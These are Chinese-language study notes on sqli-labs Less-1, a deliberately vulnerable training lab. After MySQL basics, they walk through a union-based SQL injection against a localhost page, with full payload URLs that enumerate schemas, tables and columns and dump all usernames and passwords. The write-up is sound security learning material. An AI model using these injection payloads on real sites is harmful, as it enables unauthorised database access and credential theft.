sqli-labs
sqli-labs
less1-10:https://www.bilibili.com/video/BV1e441127Rd
已经安装完了,P1-P2就没看。
P3-mysql基本用法
phpStudy打开mysql命令行:
mysql默认密码:root
登录后的欢迎界面:
Enter password: ****
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 47
Server version: 5.5.53 MySQL Community Server (GPL)
Copyright (c) 2000, 2016, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql>
查库:(第一行是用到的语句,第三行开始是执行语句后命令行输出结果。下文相同。)
select schema_name from information_schema.schemata;
mysql> select schema_name from information_schema.schemata;
+--------------------+
| schema_name |
+--------------------+
| information_schema |
| challenges |
| dvwa |
| mysql |
| performance_schema |
| security |
| test |
+--------------------+
7 rows in set (0.00 sec)
查表:
select table_name from information_schema.tables where table_schema='security';
mysql> select table_name from information_schema.tables where table_schema='secu
rity';
+------------+
| table_name |
+------------+
| emails |
| referers |
| uagents |
| users |
+------------+
4 rows in set (0.00 sec)
查列:
select column_name from information_schema.columns where table_name='users';
mysql> select column_name from information_schema.columns where table_name='user
s';
+--------------+
| column_name |
+--------------+
| user_id |
| first_name |
| last_name |
| user |
| password |
| avatar |
| last_login |
| failed_login |
| id |
| username |
| password |
+--------------+
11 rows in set (0.00 sec)
查字段:
select id,username,password from security.users;
mysql> select id,username,password from security.users;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
13 rows in set (0.00 sec)
显示数据库中的所有库:
show databases;
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| challenges |
| dvwa |
| mysql |
| performance_schema |
| security |
| test |
+--------------------+
7 rows in set (0.00 sec)
进入数据库中的某个库(security),并查看这个库的所有表名:
use security;
show tables;
mysql> use security;
Database changed
mysql> show tables;
+--------------------+
| Tables_in_security |
+--------------------+
| emails |
| referers |
| uagents |
| users |
+--------------------+
4 rows in set (0.00 sec)
查看某个表的所有字段:
mysql> select * from users;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
13 rows in set (0.00 sec)
P4-less01补充基础知识
修改源码以打印实际执行的sql语句
打开sqli-labs-master->Less-1->index.php,在29行后加入两行echo语句,分别在网页页面打印后台执行的sql语句内容和一个换行。
在sql命令行中摸索出LIMIT语句参数的意思
这是原页面:localhost可换成127.0.0.1
根据提示在网页后缀加上 ?id=1
,重新载入网页,发现页面会显示出后台实际执行的sql语句和相应的结果:
后台执行的sql语句: SELECT * FROM users WHERE id='1' LIMIT 0,1
我们来看看如何利用mysql命令行猜出LIMIT后面0,1两个参数的意思:
事实上你也可以直接搜索“mysql LIMIT”得到答案:
这是users表的全部内容:
删除查询特定id部分 Where id='1'
,查询结果不变。
mysql> SELECT * FROM users WHERE id='1' LIMIT 0,1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> SELECT * FROM users LIMIT 0,1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
修改 LIMIT
后的第一个参数为0,1,2,观察结果可得到第一个参数表示查询内容从表中的第几项开始,0表示第一项。
mysql> SELECT * FROM users LIMIT 0,1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> SELECT * FROM users LIMIT 1,1;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 2 | Angelina | I-kill-you |
+----+----------+------------+
1 row in set (0.00 sec)
mysql> SELECT * FROM users LIMIT 2,1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 3 | Dummy | p@ssword |
+----+----------+----------+
1 row in set (0.00 sec)
修改 LIMIT
后的第二个参数为0,2,3,观察结果可得到第二个参数表示向后查询几项的内容,0为空。
mysql> SELECT * FROM users LIMIT 2,2;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
+----+----------+----------+
2 rows in set (0.00 sec)
mysql> SELECT * FROM users LIMIT 2,3;
+----+----------+-----------+
| id | username | password |
+----+----------+-----------+
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
+----+----------+-----------+
3 rows in set (0.00 sec)
mysql> SELECT * FROM users LIMIT 2,0;
Empty set (0.00 sec)
可以把 id=1
改成0,2,3,4等数字试试,会得到不同的账号和密码,这与 users
数据库中存储的 id, username, password
信息一致。(若页面不打印任何账号信息相关内容,表示此 id
无对应账号、密码。如下图所示:)
Less-1的名字提示我们用单引号,将网址末尾加一个单引号,改成 id=1'
得到下图结果:
加入的单引号使得sql语句产生了语法错误,我们通过加注释 --+
的方式消除这个语法错误。
此时执行的sql语句为:SELECT * FROM users WHERE id='1'-- ' LIMIT 0,1
,中间的 --
(--空格)将后面的 ' LIMIT 0,1
注释掉了,实际相当于执行 SELECT * FROM users WHERE id='1'
,也就消除了语法错误。
sql语句中的注释符:
--+
,--
(--空格),#
在单引号后面加上and 1=1--+
,由于前(SELECT * FROM users WHERE id='1'
)后(1=1-- ' LIMIT 0,1
,相当于 1=1
)语句都正确,能够打印用户名和密码。
在单引号后面加上 and 1=2--+
,前对后错,and
连接,总体效果为错,不打印用户名和密码信息。
将 and
改成 or
,前对后错,总体效果为对,会打印用户名和密码。
P5-less01-上
退出mysql、重新登录mysql
加入单引号和注释符将后面的语句注释:
mysql> SELECT * FROM users WHERE id='1'--+and 1=2 ' LIMIT 0,1;;
'> ;
'>
'> ;;;
'> +
'> ;
'> Ctrl-C -- exit!
Bye
C:\phpStudy\PHPTutorial\MySQL\bin>
--+
后面所有的语句均被注释掉,所以mysql命令行在一直读取用户输入,却无法执行整个的语句,因为语句结束标志;
会被前面的--+
注释掉,读取不到;
,命令行认为你一直在输入阶段。此时只好按Ctrl+C退出mysql。
输入mysql -u root -p
(注意此处的工作路径。)重新登录mysql,输入默认密码root:
C:\phpStudy\PHPTutorial\MySQL\bin>mysql -u root -p
Enter password: ****
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 76
Server version: 5.5.53 MySQL Community Server (GPL)
Copyright (c) 2000, 2016, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql>
其中-u
参数后面接用户名,-p
参数后面接密码,为了让他人不能通过查看命令行输入的历史命令的方式知道密码,故此处-p
后面没有接密码,而是在下一行输入密码。
order by爆列数
order by
语句:以表的第几列做排序。默认以第一列的数据进行排序。
by 后面的数字代表以第列数据进行排序。
数字超出范围会报错:
mysql> select * from users order by 4;
ERROR 1054 (42S22): Unknown column '4' in 'order clause'
mysql> select * from users order by 0;
ERROR 1054 (42S22): Unknown column '0' in 'order clause'
在原网页使用 二分法 确定总的列数为3。(输入order by 10\5\ 报错不存在,3存在,4不存在。)配图是5的时候不存在。
union联合查询
将id从1改成0,即可将输入语句中的select 2,3显示在网页上。
让我们看看联合查询union语句的作用:
mysql> select * from users limit 1,1 union select 1,2,3;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 2 | Angelina | I-kill-you |
| 1 | 2 | 3 |
+----+----------+------------+
2 rows in set (0.00 sec)
mysql> select * from users where id='1' union select 1,2,3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
| 1 | 2 | 3 |
+----+----------+----------+
2 rows in set (0.00 sec)
mysql> select * from users where id='0' union select 1,2,3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | 2 | 3 |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> select * from users where id='0' union select -1,22,333;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| -1 | 22 | 333 |
+----+----------+----------+
1 row in set (0.03 sec)
mysql> select * from users where id='0' union select 1,2,3,4;
ERROR 1222 (21000): The used SELECT statements have a different number of columns
看来union语句就是把两个查询语句的结果拼在一起,其中这两个查询语句的列数必须相同。如果没有读取到正确的表头,就会以 select 后输入的东西作为表头。
mysql> select -1,22,333;
+----+----+-----+
| -1 | 22 | 333 |
+----+----+-----+
| -1 | 22 | 333 |
+----+----+-----+
1 row in set (0.00 sec)
mysql> select -1,22,333 from users;
+----+----+-----+
| -1 | 22 | 333 |
+----+----+-----+
| -1 | 22 | 333 |
| -1 | 22 | 333 |
| -1 | 22 | 333 |
| -1 | 22 | 333 |
| -1 | 22 | 333 |
| -1 | 22 | 333 |
| -1 | 22 | 333 |
| -1 | 22 | 333 |
| -1 | 22 | 333 |
| -1 | 22 | 333 |
| -1 | 22 | 333 |
| -1 | 22 | 333 |
| -1 | 22 | 333 |
+----+----+-----+
13 rows in set (0.00 sec)
且打印出来的表头和语句顺序有关。
mysql> select 1,2,3 from users union select * from users;
+----+----------+------------+
| 1 | 2 | 3 |
+----+----------+------------+
| 1 | 2 | 3 |
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
14 rows in set (0.00 sec)
mysql> select * from users union select 1,2,3 from users;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
| 1 | 2 | 3 |
+----+----------+------------+
14 rows in set (0.00 sec)
P6-less01-下
其他的一些查询语句
以#
开头的是注释。
# 系统用户
mysql> select system_user();
+----------------+
| system_user() |
+----------------+
| root@localhost |
+----------------+
1 row in set (0.00 sec)
# 当前mysql登录用户
mysql> select user();
+----------------+
| user() |
+----------------+
| root@localhost |
+----------------+
1 row in set (0.00 sec)
# 当前所在的数据库
mysql> select database();
+------------+
| database() |
+------------+
| security |
+------------+
1 row in set (0.00 sec)
# mysql版本
mysql> select version();
+-----------+
| version() |
+-----------+
| 5.5.53 |
+-----------+
1 row in set (0.03 sec)
# mysql安装目录的数据存储路径,在此目录下存放数据库的数据文件
mysql> select @@datadir;
+-------------------------------------+
| @@datadir |
+-------------------------------------+
| C:\phpStudy\PHPTutorial\MySQL\data\ |
+-------------------------------------+
1 row in set (0.00 sec)
# 操作系统和位数
mysql> select @@version_compile_os;
+----------------------+
| @@version_compile_os |
+----------------------+
| Win32 |
+----------------------+
1 row in set (0.00 sec)
下面我们开始爆破。
schema_name的爆破
第一个schema_name
通过union联合查询,我们知道了当注入
select 1,2,3 from information_schema.schemata limit 0,1
时,屏幕会在Your Login name
和Your Password
分别显示2
和3
。这说明我们可以通过修改注入语句的形式使得网页在Your Login name
和Your Password
处打印出我们想要的信息。
网址:
http://localhost/bachang/sqli-labs-master/Less-1/?id=0%27 union select 1,2,3 from information_schema.schemata limit 0,1--+
# 其中在HackBar的`Load URL`功能下,原网址中的单引号被转化为`%27`,即百分号加其ASCII码值,另一个常见的是空格` `,它会被转化为`%20`。
屏幕输出:
Your Login name:2
Your Password:3
将3
改成schema_name
即可在Your Password
处打印出第一个schema_name
。
网址:
http://localhost/bachang/sqli-labs-master/Less-1/?id=0%27 union select 1,2,schema_name from information_schema.schemata limit 0,1--+
屏幕输出:
Your Login name:2
Your Password:information_schema
通过注入select 1,2,schema_name from information_schema.schemata limit 0,1
我们得到了第一个schema_name为information_schema
。
第二个schema_name
将原语句 limit
后的第一个参数从0改成1,输出结果就会由 information_schema
变成 challenges
。这和数据库中的顺序是对应的:
group_concat()函数
显然我们可以用修改limit
后面参数的方法多弄几次得到所有的schema_name
,但是这样有点复杂了。
为了能用一行语句打印出所有的schema_name
,我们先学下这个函数,后面要用到。
摘自:MySQL group_concat()函数 - MySQL教程 (yiibai.com)
MySQL GROUP_CONCAT示例
让我们来看看示例数据库(yiibaidb)中的
customers
表,其表结构如下所示 -mysql> desc customers; +------------------------+---------------+------+-----+---------+-------+ | Field | Type | Null | Key | Default | Extra | +------------------------+---------------+------+-----+---------+-------+ | customerNumber | int(11) | NO | PRI | NULL | | | customerName | varchar(50) | NO | | NULL | | | contactLastName | varchar(50) | NO | | NULL | | | contactFirstName | varchar(50) | NO | | NULL | | | phone | varchar(50) | NO | | NULL | | | addressLine1 | varchar(50) | NO | | NULL | | | addressLine2 | varchar(50) | YES | | NULL | | | city | varchar(50) | NO | | NULL | | | state | varchar(50) | YES | | NULL | | | postalCode | varchar(15) | YES | | NULL | | | country | varchar(50) | NO | | NULL | | | salesRepEmployeeNumber | int(11) | YES | MUL | NULL | | | creditLimit | decimal(10,2) | YES | | NULL | | +------------------------+---------------+------+-----+---------+-------+ 13 rows in set SQL
要获取客户所在的国家/地区,以逗号分隔的字符串,您可以使用
GROUP_CONCAT
函数,如下所示:SELECT GROUP_CONCAT(country) FROM customers; SQL
执行上面查询语句,得到以下结果
更多参数设置:
参考以下图解 -
DISTINCT子句用于在连接分组之前消除组中的重复值。
ORDER BY子句允许您在连接之前按升序或降序排序值。 **默认情况下,它按升序排序值。 **如果要按降序对值进行排序,则需要明确指定
DESC
选项。
SEPARATOR
指定在组中的值之间插入的文字值。如果不指定分隔符,则GROUP_CONCAT
函数 **使用逗号(,
)作为默认分隔符。 **
GROUP_CONCAT
函数忽略NULL
值,如果找不到匹配的行,或者所有参数都为NULL
值,则返回NULL
。
GROUP_CONCAT
函数返回二进制或非二进制字符串,这取决于参数。 默认情况下,返回字符串的最大长度为1024
。如果您需要更多的长度,可以通过在SESSION
或GLOBAL
级别设置group_concat_max_len
系统变量来扩展最大长度。
教程里 SELECT GROUP_CONCAT(country) FROM customers;
语句,会将customers表中所有country列中的内容以 ,
为分隔符打印出来。类似的,我们用此语句就可以把所有的schema_name
用一条语句打印出来。
得到所有schema_name
网址:
http://localhost/bachang/sqli-labs-master/Less-1/?id=0%27%20union select 1,2,group_concat(schema_name) from information_schema.schemata --+
# 其中在HackBar的`Load URL`功能下,原网址中的单引号被转化为`%27`,即百分号加其ASCII码值,另一个常见的是空格` `,它会被转化为`%20`。
输出:
Your Login name:2
Your Password:information_schema,challenges,dvwa,mysql,performance_schema,security,test
利用select 1,2,group_concat(schema_name) from information_schema.schemata
,我们可以得到所有的schema_name:
information_schema,challenges,dvwa,mysql,performance_schema,security,test
sqli-labs的数据库为 security
,接下来对其实施爆破。
security数据库的爆破
网址:
http://localhost/bachang/sqli-labs-master/Less-1/?id=0%27%20union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
# 或者将'security'用十六进制串代替:
http://localhost/bachang/sqli-labs-master/Less-1/?id=0%27%20union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 --+
输出:
Your Login name:2
Your Password:emails,referers,uagents,users
最好将单引号字符串 'security'
用转换成十六进制形式,这样可以避免注入语句中单引号的使用。转换方法是用 HackBar
里 Encoding
选项卡的 Hex Encode
功能,演示见下面的gif:
得到所有表名
通过注入 select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
,我们找到了security
数据库中的所有表名。
得到 security
数据库的所有表名 emails,referers,uagents,users
后,我们想要的是用户账户的相关信息,如用户名、密码等,所以接下来对 users
表实施爆破。
users表的爆破
网址:
http://localhost/bachang/sqli-labs-master/Less-1/?id=0%27%20union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
输出:
Your Login name:2
Your Password:user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password
这里也最好使用十六进制表示表名。
得到所有表头
通过注入select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
,我们得到了users
表的所有表头:
user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password
我们关心的是用户名和密码,即 username
, password
。
用户名、密码的爆破
第一个用户的密码
网址:
http://localhost/bachang/sqli-labs-master/Less-1/?id=0%27%20union select 1,2,password from security.users limit 0,1--+
输出:
Your Login name:2
Your Password:Dumb
注入select 1,2,password from security.users limit 0,1
,我们得到了第一个用户的密码。
所有用户的密码
网址:
http://localhost/bachang/sqli-labs-master/Less-1/?id=0%27%20union select 1,2,group_concat(password) from security.users --+
输出:
Your Login name:2
Your Password:Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4
改用group_concat()
,注入 select 1,2,group_concat(password) from security.users
后,我们得到了所有用户的密码。图就不放了。
concat_ws()函数
如果我想用一行语句同时打印用户名和对应的密码该怎么办?这时就需要用到concat_ws()
函数了,我们来学一学。
摘自:MySQL concat()函数 - MySQL教程 (yiibai.com)
MySQL CONCAT_WS函数:使用分隔符连接字符串
MySQL提供了一种特殊形式的
CONCAT()
函数:CONCAT_WS()
函数。CONCAT_WS()
函数将两个或多个字符串值与预定义的分隔符相连接。下面说明了
CONCAT_WS()
函数的语法:CONCAT_WS(seperator,string1,string2, ... ); SQL
第一个参数是其他参数:
string1
,string2
,...
的分隔符。
CONCAT_WS
函数在字符串参数之间添加分隔符,并返回单个字符串,并在字符串参数之间插入分隔符。以下语句连接两个字符串值:
Max
和Su
,并用逗号分隔这两个字符串:SELECT CONCAT_WS(',','Max','Su'); SQL
执行上面查询语句,得到以下结果 -
mysql> SELECT CONCAT_WS(',','Max','Su'); +---------------------------+ | CONCAT_WS(',','Max','Su') | +---------------------------+ | Max,Su | +---------------------------+ 1 row in set
同时显示用户名和对应的密码
网址:
http://localhost/bachang/sqli-labs-master/Less-1/?id=0%27%20union select 1,2,concat_ws('~',username,password) from security.users --+
输出:
Your Login name:2
Your Password:Dumb~Dumb
注入select 1,2,concat_ws('~',username,password) from security.users
,我们将第一个用户的用户名和密码用~
连接起来作为一整个字符串打印在Your Password
处。此注入语句作用和select 1,2,concat_ws('~',username,password) from security.users limit 0,1
相同。
可是这里只会显示第一个用户的用户名和密码,如果要得到第二个第二个用户的用户名和密码,需要将注入语句改成select 1,2,concat_ws('~',username,password) from security.users limit 1,1
(改动limit
后第一个参数),而且无法修改limit
后第二个参数以一次打印多个用户的信息。
得到所有用户名和密码
要想一次打印所有用户的用户名和密码,只要在 concat_ws()
外面再套一层 group_concat()
即可。
网址:
http://localhost/bachang/sqli-labs-master/Less-1/?id=0%27%20union select 1,2,group_concat(concat_ws('~',username,password)) from security.users --+
# 把'~'用十六进制的0x7e表示更好:
http://localhost/bachang/sqli-labs-master/Less-1/?id=0%27%20union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+
输出:
Your Login name:2
Your Password:Dumb~Dumb,Angelina~I-kill-you,Dummy~p@ssword,secure~crappy,stupid~stupidity,superman~genious,batman~mob!le,admin~admin,admin1~admin1,admin2~admin2,admin3~admin3,dhakkan~dumbo,admin4~admin4
注入select 1,2,group_concat(concat_ws('~',username,password)) from security.users
,得到所有的用户名和密码。
到此,less-01结束。
总结
less-01还是很简单的,主要是学习一些基本的sql查询语句,以这些查询语句在网页中打印出我们想要的信息。
用到的一些sql查询语句:
语句 | 作用 | 结果 |
---|---|---|
select 1,2,schema_name from information_schema.schemata limit 0,1 | 得到第一个schema_name | information_schema |
select 1,2,group_concat(schema_name) from information_schema.schemata | 查库(excel文件) | 得到数据库名security |
select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' | 查表(sheet) | 得到表名users |
select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' | 查列(column) | 得到列名username,password |
select 1,2,concat_ws('~',username,password) from security.users | 查字段(data) | 一次得到用户名和密码 |
select 1,2,group_concat(concat_ws('~',username,password)) from security.users | 查字段(data) | 所有用户名和密码 |
两个函数:
group_concat():将组中的字符串连接成为单个字符串。可以添加选项来消除重复,设置升降序排序,设置分隔符。用于打印出一个列中的所有数据。
concat_ws():CONCAT With Separator 。CONCAT_WS(seperator,string1,string2, ... ); 将string1\2...以seperator为分隔符连接成单个字符串。用于将多个列中的数据拼接起来打印。
group_concat(concat_ws('~',username,password)):将所有用户的username,password分别以~
连接后一起打印出来。